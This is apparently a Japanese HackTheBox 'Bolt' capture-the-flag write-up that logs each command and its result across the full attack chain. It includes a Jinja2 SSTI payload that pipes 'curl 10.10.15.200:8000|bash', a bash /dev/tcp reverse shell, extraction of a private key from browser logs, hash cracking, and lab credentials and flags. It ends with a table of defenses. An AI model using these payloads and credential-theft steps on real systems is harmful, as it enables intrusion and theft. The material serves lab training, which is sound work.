HackTheBox: Bolt — 全実行コマンド・実行結果レポート
Nmap スキャン
22/80/443
→
22/80/443
Docker image解析
admin:deadbolt + 招待コード
→
admin:deadbolt + 招待コード
demo.bolt.htb登録
プロフィール名 Jinja2 SSTI
→
プロフィール名 Jinja2 SSTI
mail.bolt.htb経由RCE
確認メールリンクで発火
→
確認メールリンクで発火
passbolt.php DB資格情報
eddieへ資格情報使い回し
→
eddieへ資格情報使い回し
SSH
user.txt
→
user.txt
Chrome拡張ログ
PGP秘密鍵 + johnでpassphrase解読
→
PGP秘密鍵 + johnでpassphrase解読
GPGAuthログイン
Passboltボールトからroot PW復号
→
Passboltボールトからroot PW復号
root.txt
PHASE 1
偵察 (Reconnaissance)
ポートスキャン & vhost発見
BASH
nmap -Pn -sV -sC -p 22,80,443 10.129.69.156
RESULT
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3
80/tcp open http nginx 1.18.0 (Ubuntu)
443/tcp open ssl/http nginx 1.18.0 (Ubuntu)
| ssl-cert: Subject: commonName=passbolt.bolt.htb/organizationName=Internet Widgits Pty Ltd
BASH
echo '10.129.69.156 passbolt.bolt.htb bolt.htb' | sudo tee -a /etc/hosts ffuf -u http://bolt.htb/ -H 'Host: FUZZ.bolt.htb' -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
RESULT
demo [Status: 302] mail [Status: 200] → demo.bolt.htb(招待コード制の登録ページ)、mail.bolt.htb(Roundcube Webmail)を追加
ℹ️
443番はPassbolt(パスワードマネージャー)、80番は「custom administration web application」を
謳うマーケティングサイトで、無料の Docker image をダウンロードできる。
PHASE 2
Dockerイメージのレイヤー解析で資格情報を入手
Dockerイメージのダウンロードとレイヤー展開
BASH
curl -o image.tar http://bolt.htb/uploads/image.tar # 154MB、意図的に低速回線 tar -xf image.tar -C extracted cat extracted/manifest.json
⚠️
配布サーバーが帯域制限(実測 ~60〜100KB/s)をかけており、154MBの完全ダウンロードに30分以上要した。
接続切断も頻発するため、時間のかかる作業であることを見込んでおく必要がある。
各レイヤーの差分を確認し削除済みファイルを発見
BASH
# dive(レイヤー可視化ツール)でイメージを走査 dive docker-archive://image.tar # 各レイヤーディレクトリの layer.tar を個別に展開し、削除(whiteout)されたファイルを比較
RESULT
レイヤー a4ea7da8de7bfbf327b56b0cb794aed9a8487d31e588b75029f6b527af2976f2 に
db.sqlite3(後続レイヤーで削除済み)を発見
$ sqlite3 db.sqlite3
sqlite> select * from User;
1|admin|admin@bolt.htb|$1$sm1RceCh$rSd3PygnS/6jlFDfF2J5q.||
BASH
hashcat -m 500 -a 0 hash /usr/share/wordlists/rockyou.txt
RESULT
$1$sm1RceCh$rSd3PygnS/6jlFDfF2J5q.:deadbolt
bolt.htb 管理画面 資格情報
admin : deadbolt
別レイヤーからFlaskソースの招待コードを回収
BASH
cd 41093412e0da959c80875bb0db640c1302d5bcdffec759a3a5670950272789ad tar -xf layer.tar cat app/base/routes.py
RESULT(抜粋)
code = request.form['invite_code']
if code != 'XNSS-HSJW-3NGU-8XTJ':
return render_template('code-500.html')
demo.bolt.htb 登録用 招待コード
XNSS-HSJW-3NGU-8XTJ
ℹ️
Dockerイメージは配布用の静的アセットであり、admin パスワードと招待コードはインスタンスに依らず固定値。
実機でも
curl -X POST http://bolt.htb/login -d "username=admin&password=deadbolt"
で即座にログイン成功(302 → /admin/home)することを確認した。
PHASE 3
demo.bolt.htb登録 → プロフィール更新機能のJinja2 SSTI
招待コードで登録し、demo/mailへログイン
BASH
curl -X POST -H 'Host: demo.bolt.htb' http://10.129.69.156/register \ --data-urlencode "username=pentester1" \ --data-urlencode "email=pentester1@bolt.htb" \ --data-urlencode "password=P3ntest!2026" \ --data-urlencode "invite_code=XNSS-HSJW-3NGU-8XTJ" --data-urlencode "register=1"
RESULT
HTTP/1.1 302 FOUND Location: http://demo.bolt.htb/login
同じ資格情報が mail.bolt.htb(Roundcube)にもそのまま通用する。
プロフィール名更新のSSTI検証
NOTE
routes.py の confirm_changes() は以下のように実装されている:
template = open('templates/emails/update-name.html', 'r').read()
msg.html = render_template_string(template % name)
name が文字列フォーマット経由でテンプレート文字列に直接埋め込まれるため、
Jinja2のSSTI(サーバーサイドテンプレートインジェクション)が成立する。
BASH
curl -X POST -b democookies.txt -H 'Host: demo.bolt.htb' http://10.129.69.156/admin/profile \
--data-urlencode "name={{ 7*7 }}" --data-urlencode "experience=x" --data-urlencode "skills=x"
# mail.bolt.htb の受信箱から確認メールのリンクを取得しアクセス
RESULT(確認メール本文)
49
This e-mail serves as confirmation of your profile username changes.
✅
7*7 が 49 と評価され、SSTIを確認。
RCEペイロードでリバースシェル取得
PAYLOAD
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen(
'curl 10.10.15.200:8000|bash'
).read() }}
BASH
# リスナー準備 echo "bash -c 'bash -i >& /dev/tcp/10.10.15.200/4444 0>&1'" > www/index.html python3 -m http.server 8000 & nc -lvnp 4444 & # 上記ペイロードを name にセットし、確認メールのリンクへアクセス(=サーバー側で実行) curl -X POST -b democookies.txt -H 'Host: demo.bolt.htb' http://10.129.69.156/admin/profile \ --data-urlencode "name=<SSTIペイロード>" --data-urlencode "experience=x" --data-urlencode "skills=x" curl -H 'Host: demo.bolt.htb' "http://10.129.69.156/confirm/changes/<token>"
RESULT
listening on [any] 4444 ...
connect to [10.10.15.200] from (UNKNOWN) [10.129.69.156] 58054
www-data@bolt:~/demo$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
✅
RCE獲得成功。 確認メールのリンクを踏むタイミングでサーバー側の
os.popen()が実行され、www-dataのシェルを得た。
PHASE 4
passbolt.php のDB資格情報を横展開してuser.txt
Passbolt設定ファイルの読み取り
BASH
www-data@bolt:~/demo$ cat /etc/passbolt/passbolt.php
RESULT(抜粋)
'Datasources' => [
'default' => [
'host' => 'localhost',
'username' => 'passbolt',
'password' => 'rT2;jW7<eY8!dX8}pQ8%',
'database' => 'passboltdb',
],
],
資格情報スプレー → eddieへSSH
BASH
sshpass -p 'rT2;jW7<eY8!dX8}pQ8%' ssh eddie@10.129.69.156 "id; hostname; cat ~/user.txt"
RESULT
uid=1000(eddie) gid=1000(eddie) groups=1000(eddie)
bolt.htb
37535b4fc6034d4ee0f63d097c7435c0
✅
Passbolt用DBパスワードがLinuxユーザー
eddieのSSHパスワードとしても再利用されていた。
user.txt — eddie
37535b4fc6034d4ee0f63d097c7435c0
PHASE 5
Chrome拡張ログからPassbolt用PGP秘密鍵を窃取
/var/mail のヒントとGoogle Chromeの存在確認
BASH
eddie@bolt:~$ cat /var/mail/eddie
RESULT
From clark@bolt.htb Subject: Important! Hey Eddie, The password management server is up and running. ... Be sure to back up your private key because I CANNOT recover it. ... -Clark
ℹ️
Passboltのブラウザ拡張機能(Firefox/Chrome)は、初回セットアップ時にユーザーのPGP秘密鍵を
ローカルストレージに保持する。ChromeのLocal Extension Settings配下のLevelDBログファイルに
平文(JSON文字列としてエスケープされた状態)で残っていることがある。
拡張機能ログから秘密鍵を抽出
BASH
eddie@bolt:~$ grep -lr 'PRIVATE KEY' ~/.config/google-chrome/Default/'Local Extension Settings'/ eddie@bolt:~$ strings '.../didegimhafipceonhjepacocaffmoppf/000003.log' | grep -o '"passbolt-private-gpgkeys".*END PGP PRIVATE KEY BLOCK-----'
RESULT(抜粋、\r\nはリテラルの2〜4文字エスケープ)
{"...,"passbolt-private-gpgkeys":"{\"MY_KEY_ID\":{\"key\":\"-----BEGIN PGP PRIVATE KEY BLOCK-----\\r\\n
Version: OpenPGP.js v4.10.9\\r\\n...\\r\\n-----END PGP PRIVATE KEY BLOCK-----\"...
⚠️
JSON内の改行は
\r\nとしてエスケープされているが、LevelDBの再シリアライズにより
1重(\r\n)または2重(\\r\\n)のいずれかで出現しうる。
両パターンに対応した置換処理を行わないと鍵の復元に失敗する(本検証で実際に踏んだ落とし穴)。
gpg2john + rockyouでパスフレーズをクラック
BASH
gpg2john eddie_priv.asc > hash john hash --wordlist=/usr/share/wordlists/rockyou.txt
RESULT
Loaded 1 password hash (gpg, OpenPGP / GnuPG Secret Key [32/64])
merrychristmas (Eddie Johnson)
1g 0:00:01:02 DONE
Eddie の PGP 秘密鍵パスフレーズ
merrychristmas
PHASE 6
GPGAuthログイン → Passboltボールトからroot取得
鍵をインポートしGPGAuthハンドシェイクを手動実行
NOTE
Passboltは「秘密鍵の紛失時リカバリ」フローをUI上で提供するが、実際には
eddieの鍵はサーバー側の登録情報と一致したままなので、通常のGPGAuth
チャレンジレスポンス認証がそのまま成立する(ブラウザ拡張機能なしでも
curl + gpg で手動再現可能)。
stage0: POST /auth/login.json {"gpg_auth":{"keyid":"<fingerprint>"}}
→ レスポンスヘッダ X-GPGAuth-User-Auth-Token に暗号化チャレンジ
decrypt: gpg --decrypt でチャレンジを復号 → 平文トークンを取得
stage2: POST /auth/login.json {"gpg_auth":{"keyid":..,"user_token_result":"<平文>"}}
→ X-GPGAuth-Authenticated: true でログイン完了
BASH
gpg --batch --yes --passphrase "merrychristmas" --import eddie_priv.asc
FP=DF426BC7A4A8AF58E50EDA0E1C2741A3DC3B4ABD
curl -sk -c cookies.txt --resolve passbolt.bolt.htb:443:10.129.69.156 \
https://passbolt.bolt.htb/auth/login
csrf=$(grep csrfToken cookies.txt | awk '{print $NF}')
curl -sk -b cookies.txt --resolve passbolt.bolt.htb:443:10.129.69.156 \
-X POST https://passbolt.bolt.htb/auth/login.json \
-H "Content-Type: application/json" -H "X-CSRF-Token: $csrf" \
-d "{\"gpg_auth\":{\"keyid\":\"$FP\"}}" -D headers1.txt
RESULT
x-gpgauth-progress: stage1 x-gpgauth-user-auth-token: -----BEGIN+PGP+MESSAGE-----%0A...(URLエンコード済み暗号文)
チャレンジを復号し、stage2でログイン完了
BASH
# ヘッダ値をURLデコードし、PGPメッセージとして復号
TOKEN=$(gpg --batch --pinentry-mode loopback --passphrase "merrychristmas" --decrypt challenge.asc)
echo $TOKEN
# → gpgauthv1.3.0|36|c2e6695a-a14b-41bb-a4f7-a92aa50f47a1|gpgauthv1.3.0
curl -sk -b cookies.txt --resolve passbolt.bolt.htb:443:10.129.69.156 \
-X POST https://passbolt.bolt.htb/auth/login.json \
-H "Content-Type: application/json" -H "X-CSRF-Token: $csrf" \
-d "{\"gpg_auth\":{\"keyid\":\"$FP\",\"user_token_result\":\"$TOKEN\"}}" -D headers2.txt
RESULT
x-gpgauth-authenticated: true
x-gpgauth-progress: complete
✅
Passboltへのログインに成功。以降 Cookie セッションでAPIを叩ける。
パスワード一覧からrootリソースを取得・復号
BASH
curl -sk -b cookies.txt --resolve passbolt.bolt.htb:443:10.129.69.156 \ https://passbolt.bolt.htb/resources.json
RESULT
{"id":"cd0270db-c83f-4f44-b7ac-76609b397746","name":"passbolt.bolt.htb","username":"root", ...}
BASH
curl -sk -b cookies.txt --resolve passbolt.bolt.htb:443:10.129.69.156 \ https://passbolt.bolt.htb/secrets/resource/cd0270db-c83f-4f44-b7ac-76609b397746.json # body.data の PGPメッセージを保存して復号 gpg --batch --pinentry-mode loopback --passphrase "merrychristmas" --decrypt secret.asc
RESULT
gpg: "Eddie Johnson <eddie@bolt.htb>"からの正しい署名
{"password":"Z(2rmxsNW(Z?3=p/9s","description":""}
su – root で root.txt取得
NOTE
suはパスワード入力に実端末(PTY)を要求するため、単純なパイプ入力では
失敗する。pexpectでSSHセッション自体を対話的に制御する必要がある。
PYTHON (pexpect)
import pexpect
c = pexpect.spawn("ssh eddie@10.129.69.156", encoding='utf-8')
c.expect(r'\$\s*$')
c.sendline('su - root')
c.expect('Password:')
c.sendline('Z(2rmxsNW(Z?3=p/9s')
c.expect(r'#\s*$')
c.sendline('id; cat /root/root.txt')
c.expect(r'#\s*$')
print(c.before)
RESULT
root@bolt:~# id; cat /root/root.txt uid=0(root) gid=0(root) groups=0(root) b4f5f6636b81f3a2ad73cd24f6550cfd
root.txt
b4f5f6636b81f3a2ad73cd24f6550cfd
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — eddie
37535b4fc6034d4ee0f63d097c7435c0
root.txt — root
b4f5f6636b81f3a2ad73cd24f6550cfd
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| 配布用Dockerイメージへの機密情報混入 | 公開Dockerイメージの削除済みレイヤー | 管理者資格情報・招待コードの漏洩 | Medium | 各レイヤーのtarを個別展開し、後続レイヤーで削除されたdb.sqlite3/routes.pyを復元 |
| Jinja2 SSTI | demo.bolt.htb プロフィール更新機能 (render_template_string(template % name)) |
www-dataとしてのRCE | Critical | self._TemplateReference__context.cycler.__init__.__globals__.os.popen()でOSコマンド実行 |
| 資格情報の使い回し | Passbolt MySQL パスワード ↔ eddie のUnixパスワード | 横方向のユーザーピボット | Medium | アプリ設定ファイルに残る資格情報がそのままSSHパスワードとして通用 |
| ブラウザ拡張ローカルストレージへの秘密鍵平文残留 | Chrome拡張機能 Local Extension Settings (LevelDBログ) | Passbolt秘密鍵の窃取 | High | ログファイルに残ったJSON文字列からPGP秘密鍵ブロックを復元しjohnでパスフレーズを解読 |
| パスワード保管庫への到達 | Passbolt(GPGAuthで保護された共有シークレット) | rootパスワードの窃取 | High | 窃取した正規ユーザーの秘密鍵でGPGAuthチャレンジレスポンスを通過し、共有されたroot認証情報を復号 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap、ffuf vhost列挙 | 22/80/443、demo/mail.bolt.htb発見 |
| 2 | 資格情報入手 | Dockerイメージのレイヤー差分解析 | admin:deadbolt、招待コード |
| 3 | RCE | Jinja2 SSTI(プロフィール更新→確認メール発火) | www-dataシェル |
| 4 | 横展開 | passbolt.php DB資格情報の使い回し | user.txt(eddie) |
| 5 | 秘密鍵窃取 | Chrome拡張ログ + gpg2john/john | PGP秘密鍵 + パスフレーズ”merrychristmas” |
| 6 | 権限昇格 | GPGAuthログイン→Passboltボールト復号→su | root.txt |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| 配布用Dockerイメージの過去レイヤーに機密ファイルが残存 | マルチステージビルドを徹底し、機密データは最終イメージは元よりビルド用中間レイヤーにも一切含めない。公開前に dive 等でレイヤー監査する |
| ユーザー入力を文字列フォーマットでテンプレートに直接埋め込み(SSTI) | テンプレートへの動的埋め込みを避け、render_template()にコンテキスト変数として渡す。Jinja2のサンドボックス化(SandboxedEnvironment)を検討する |
| アプリケーションのDBパスワードをOSユーザーパスワードとして使い回し | サービスごとに独立した資格情報を発行し、使い回しを禁止するポリシーを徹底する |
| パスワードマネージャーのブラウザ拡張が秘密鍵をローカルストレージに平文で保持 | 秘密鍵はOSキーチェーン等の保護されたストレージにのみ保存し、拡張機能のログ/デバッグ出力を無効化する。共有端末での利用を避ける |
| 紛失した秘密鍵の「バックアップ」があれば誰でもアカウントを完全に復元できてしまう | 秘密鍵の物理的保管を利用者教育で徹底し、加えて多要素(例: サーバー側でのデバイス確認)を要求する運用にする |

